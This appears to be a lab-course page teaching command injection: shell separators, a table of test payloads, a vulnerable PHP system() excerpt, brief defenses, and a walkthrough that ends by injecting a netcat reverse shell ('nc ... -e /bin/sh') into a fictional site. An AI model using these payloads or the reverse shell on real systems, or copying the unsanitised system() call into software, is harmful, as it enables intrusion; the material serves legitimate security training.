# Command Injection

Some web apps take user input and run commands with it. If the app is vulnerable, attackers can add extra commands to the input, which the app then executes along with the normal command. On Linux, these extra commands are separated by a `;`, and on Windows, by an `&`.

Web apps sometimes run programs directly without a shell, making them vulnerable to command injection if they execute attacker-supplied commands. These commands can come from various input methods like URL parameters, form data, cookies, or others.

The attacker usually runs commands with the web server's limited permissions. Even though these permissions are restricted, they can still use them to move to other systems or try to gain more control over the server.

## Identifying Command Injection Vulnerabilities

To test for command injection vulnerabilities, attackers often try various commands and separators to see if the system is vulnerable. For instance, with a URL like `http://target.tgt/checkLicense?id=PARAM`, where `PARAM` could be different values, attackers test different `id` values to see if they can cause unexpected system behavior or run additional commands.

We can test how the system responds by changing the value after id=. This table shows examples of modified inputs that might reveal a command injection issue. We use the `echo Injected` command for testing because it works on Linux, Windows Command Prompt, and PowerShell.

<table><thead><tr><th width="233"></th><th></th></tr></thead><tbody><tr><td>-h</td><td>Watch system output, do you get help when PARAM is -h? Also /?</td></tr><tr><td>PARAM ; echo Injected</td><td>Unix only, run echo after initial command</td></tr><tr><td>echo Injected|</td><td>Perl-specific injection when opening a file</td></tr><tr><td>PARAM | echo Injected</td><td>Run echo after the initial command</td></tr><tr><td>PARAM || echo Injected</td><td>Run echo if the initial command returns non-zero as the exit status</td></tr><tr><td>PARAM &#x26; echo Injected</td><td>Run initial command as a background task, then run echo immediately</td></tr><tr><td>PARAM &#x26;&#x26; echo Injected</td><td>Run echo if the initial command returns exist successfully</td></tr><tr><td>$(echo Injected)</td><td>Unix only, Bash-specific command execution</td></tr><tr><td><code>echo Injected</code></td><td>Unix only, generic process substitution</td></tr><tr><td> > (echo Injected)</td><td>Unix only, run echo using process substitution</td></tr></tbody></table>

Try other commands besides `echo` for testing. While `echo` is common and useful, it doesn’t show results for blind command injection attacks. Blind attacks can still work, but you need to adjust your command to check if it runs. For instance, injecting `ping -n6 -w 1000 127.0.0.1` might not show results, but if there's a 5-second delay, it suggests a vulnerability. Alternatively, if you inject a ping command with your IP and see ICMP packets in Wireshark, the injection was successful.

Let's jump into a Lightning Labs event to reinforce this learning objective.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FJ4SP3jNi5bIaW7gQxMKn%2FScreenshot(16).png?alt=media&#x26;token=ae03471f-8d98-4e77-bd53-0723c94e5cae" alt=""><figcaption></figcaption></figure>

1\) Before we can understand command injection attacks, we need to look at command stacking.

Command stacking is a feature in Linux and Windows where a user can run multiple commands on one line. Let's start with a single command: run the `ls` command.

```bash
ls
```

Here we see the output of the ls command reveals two files. Let's try a different command: run the `id` command.

```bash
id
```

So far we've seen the output of `ls` and `id` separately. By combining the commands into one line separated by a semicolon, we can stack them together. Try it out.

```bash
ls ; id
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FkZIpTNmQQSxJXdQPyI2d%2FScreenshot(17).png?alt=media&#x26;token=38d19e10-3d3b-40c0-a552-7d0b839ac77c" alt=""><figcaption></figcaption></figure>

We ran two commands in one line, just by separating them by a delimiter.

2\) We can add more commands as well. Repeat the previous line, adding ; `ping -c 1 127.0.0.1` to the command line.

```bash
ls ; id ; ping -c 1 127.0.0.1
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FVWT0ROmub2eKDnLEExFQ%2FScreenshot(18).png?alt=media&#x26;token=32c5ddef-1360-4938-b225-489bc59bf536" alt=""><figcaption></figcaption></figure>

Here we ran three commands in one line, sometimes with additional arguments. You can keep stacking commands by adding more commands separated by semicolons.

3\) The semicolon is not the only available command stacking delimiter. In most Linux shells and PowerShell, you can delimit commands with two ampersands. Try it now.

```bash
ls && id
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FHCi4tW9Uj1yKvRnR4XtZ%2FScreenshot(19).png?alt=media&#x26;token=772d4cc8-3558-47c8-b234-54a800895aa3" alt=""><figcaption></figcaption></figure>

When delimiting with a semicolon, the shell will run the next command regardless of the previous command's exit status. With a double ampersand, the command on the right will only execute if the command on the left exits successfully.

4\) Let's try an experiment. The ls command has no `-z` argument - trying to run it will return an error. Stack the `ls -z && id` commands together to see.

```bash
ls -z && id
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FxCoAC0pEId7L18g50h6e%2FScreenshot(20).png?alt=media&#x26;token=275ee0a7-8713-4cf3-9960-65837bc476a1" alt=""><figcaption></figcaption></figure>

Notice how the previous command doesn't run `id` when used with double ampersand. When the command on the left returns an error, the command on the right won't execute.

5\) However, we can invert this logic by stacking with double pipe. Re-run the previous command, replacing && with ||.

```bash
ls -z || id
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FOOG3wx1DjzMnhADM7egj%2FScreenshot(21).png?alt=media&#x26;token=4ba99d7a-13fc-4e88-b655-1d34649af332" alt=""><figcaption></figcaption></figure>

This time the id command executes. Using a double pipe for command stacking has the opposite logic of double ampersand: with double pipe, the command on the right executes only if the command on the left returns an error.

Command stacking allows us to run multiple commands in one line. We can delimit the commands using a semicolon, double ampersand, and double pipe, as well as many other options.

## Command Injection Attack Walkthrough

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FbNNd2lOsYn7Wqn019uE0%2FScreenshot(22).png?alt=media&#x26;token=6750fc1a-b3ad-4bce-8385-cbf335c23c7e" alt=""><figcaption></figcaption></figure>

An attacker can exploit a command injection flaw by using a web form on the Falsimentis Community Service site, where employees submit their service stories. The form asks for a name, email, a story, and a picture. In this example, the attacker submits typical data, and the system replies with a thank you message and a modified image.

An attacker checks small details about how a website works to find weaknesses. They notice that the site accepts and modifies images, which can be shared on social media. The original file is named `MyCommunityService.jpg`, but the output file is `JoshuaWright.jpg`, indicating a possible command injection issue. The attacker doesn’t know the exact code behind this but will experiment with different inputs to find and exploit any vulnerabilities.

Although the attacker won't know what the server is running, let's look at the code written by the developer of this web application in the following excerpt:

```php
$fbrandfile = "upload/" . $_POST["fname"] . $_POST["lname"] . ".jpg";
system("composite csfooter.png " . $uploadfile . " " . $fbrandfile);
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F4ttvECsEiTtIxuTY8Rku%2FScreenshot(23).png?alt=media&#x26;token=ab0d2795-4837-4680-8ed4-73cd06860c02" alt=""><figcaption></figcaption></figure>

The code creates a variable `fbrandfile` that combines a file path with a name, like `upload/JoshuaWright.jpg`. Then it uses the `composite` command to merge two images into a new one. The `composite` command needs three things: a template image (`csfooter.png`), the uploaded image (`$uploadfile`), and the new image file path (`$fbrandfile`).

When the user enters "Joshua; id #" in a form field, the system command becomes `composite csfooter.png upload.jpg Joshua; id #Wright.jpg`. The command creates an image named Joshua but also runs `id` as a second command due to the `;` separator. This is a command injection vulnerability: attackers can use such input fields to run their own commands on the server, potentially taking control of it.

## Command Injection Defenses

To prevent command-injection attacks, teach web developers to handle user input safely and avoid running risky commands. Regularly test your systems for vulnerabilities to catch issues before attackers do.

To identify issues, check for strange outbound traffic from web servers. For example, is it normal for a web server to ping outside or start file-sharing connections like SMB? This could signal a problem. Also, watch for changes like new accounts added by an attacker.

Fix the web app to resolve the flaw. If it takes too long, use a Web Application Firewall (WAF) as a temporary solution.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FMQEBBPIVI5N1ZcAIJduN%2FScreenshot(24).png?alt=media&#x26;token=21d9d2d0-a797-4cd3-844a-ff1c75cb5832" alt=""><figcaption></figcaption></figure>

## Lab 4.3: Command Injection Attack

In this lab we will start to explore the Rook Aviary website. Rook Aviary, as a provider of analog communication services, is an acquisition target for Falsimentis, Corp. You have been asked to complete a thorough evaluation of the Rook Aviary website as part of the due diligence evaluation prior to acquisition.

Let's navigate to the Rook Aviary site at **<http://www.rookaviary.com>** to access the target site.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FAUnZQnEuX3FLZU4aDlVi%2FScreenshot(25).png?alt=media&#x26;token=8f9a86ea-a2ac-4940-9974-08ee68d58d4f" alt=""><figcaption></figcaption></figure>

Let's start by exploring the website to understand its services. Take a moment to get familiar with how it works, and find the pages for key functions.

let's examine the System Connectivity Checker. Click the Connectivity Checker link in the website menu options.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FZ0Tk1U9NeQwrOqRuOK9A%2FScreenshot(26).png?alt=media&#x26;token=b730fe33-61e5-4f90-8377-0443f12b6190" alt=""><figcaption></figcaption></figure>

This feature lets you test connectivity by entering an IP address. Let's type 127.0.0.1 and click Submit. The system will respond with a result like this.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FLBj0Cj0LretmxK7glyvM%2FScreenshot(27).png?alt=media&#x26;token=64bb8d07-9542-4e94-aebd-463c887f0cd9" alt=""><figcaption></figcaption></figure>

This is a common case where a web app takes user input, uses it to run a local command, and returns the result. Similar examples are often found in home routers and IoT devices. The back-end code might look like this:

```php
system("ping -c 1 $USERINPUT_IPADDRESS");
```

Since we can use system input to run a command (ping), we want to test it again. This time, let's try using 127.0.0.1 -h as the input.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fr8l7C8ofY5ltgL9AwGA2%2FScreenshot(28).png?alt=media&#x26;token=716d4f55-90bf-42e0-aeff-35c4b16f636b" alt=""><figcaption></figcaption></figure>

Instead of the usual ping response, we see the error "ping: -h: Try again." This happens when ping gets an unexpected argument after an IP address. It could signal a command injection vulnerability, as we can make the ping command handle unexpected input.

This time let's enter just the `-h` argument, with no IP address, then click the submit button.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FE1NL9uje3gKrNSxHCUYK%2FScreenshot(29).png?alt=media&#x26;token=a15ec75a-7e0d-4d64-8416-3d3d97bf6c76" alt=""><figcaption></figcaption></figure>

The help message suggests that the system processes our input without verifying it. Since our input goes directly to the ping utility unchecked, the system may be vulnerable to command injection. Next, we'll test ways to confirm if this vulnerability can be exploited.

To exploit a command injection, let's enter one or more commands to run on the system. We'l use the IP address 127.0.0.1, but add `; ls` after it to separate the IP and run a second command, like this.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FIA0jNhfVH2y6pWFzhxoZ%2FScreenshot(30).png?alt=media&#x26;token=4ad29748-d7af-4751-b54e-d9fa3848579b" alt=""><figcaption></figcaption></figure>

We found a command injection vulnerability, but the system blocks adding extra commands with a semicolon. Luckily, there are other special characters we can use to run multiple commands.

Let's try again using (|| or &&).

```bash
-h || ls
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FS80DmulD8EeHHwtSqSwC%2FScreenshot(31).png?alt=media&#x26;token=3e86f216-d9e2-4d53-b0d1-9f603860a7c9" alt=""><figcaption></figcaption></figure>

```bash
127.0.0.1 && ls
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FAuZl2fHPnIugYyB21Ww6%2FScreenshot(32).png?alt=media&#x26;token=a09b7fc2-9574-49de-ac93-f6390beb99b2" alt=""><figcaption></figcaption></figure>

Next, let's use command injection to get a reverse TCP shell on the server with Netcat. Let's set up a Netcat listener, then use the injection to send a shell to the listener at IP 10.10.75.1.

First, we'll start a TCP port listener.

```bash
nc -l -p 4444
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FYdqf4SbbPUChucrAdyZZ%2FScreenshot(33).png?alt=media&#x26;token=9370c9d2-ae63-4dd3-8bef-d0ee7221ad10" alt=""><figcaption></figcaption></figure>

Next, let's inject a Netcat reverse TCP connection to our Slingshot Linux VM (10.10.75.1:4444) using the command `127.0.0.1 && nc 10.10.75.1 4444 -e /bin/sh`

```bash
127.0.0.1 && nc 10.10.75.1 4444 -e /bin/sh
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F8NyMonYSaW89DB0pAgJW%2FScreenshot(34).png?alt=media&#x26;token=ccfdabf2-e6df-432b-9ab4-3b5dfbd11a25" alt=""><figcaption></figcaption></figure>

We won't see a response in the webpage immediately since it is waiting for the injected command to complete execution. Let's return to the terminal window where we started the Netcat listener and we will see a connection.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FfiGC8SmJJwzrfykC73zC%2FScreenshot(35).png?alt=media&#x26;token=d693c987-4395-487c-8ddb-46d579aa1922" alt=""><figcaption></figcaption></figure>

Though we don't gain extra privileges, the reverse TCP connect-back session makes it easier to run commands on the vulnerable site than using the web command injection interface.
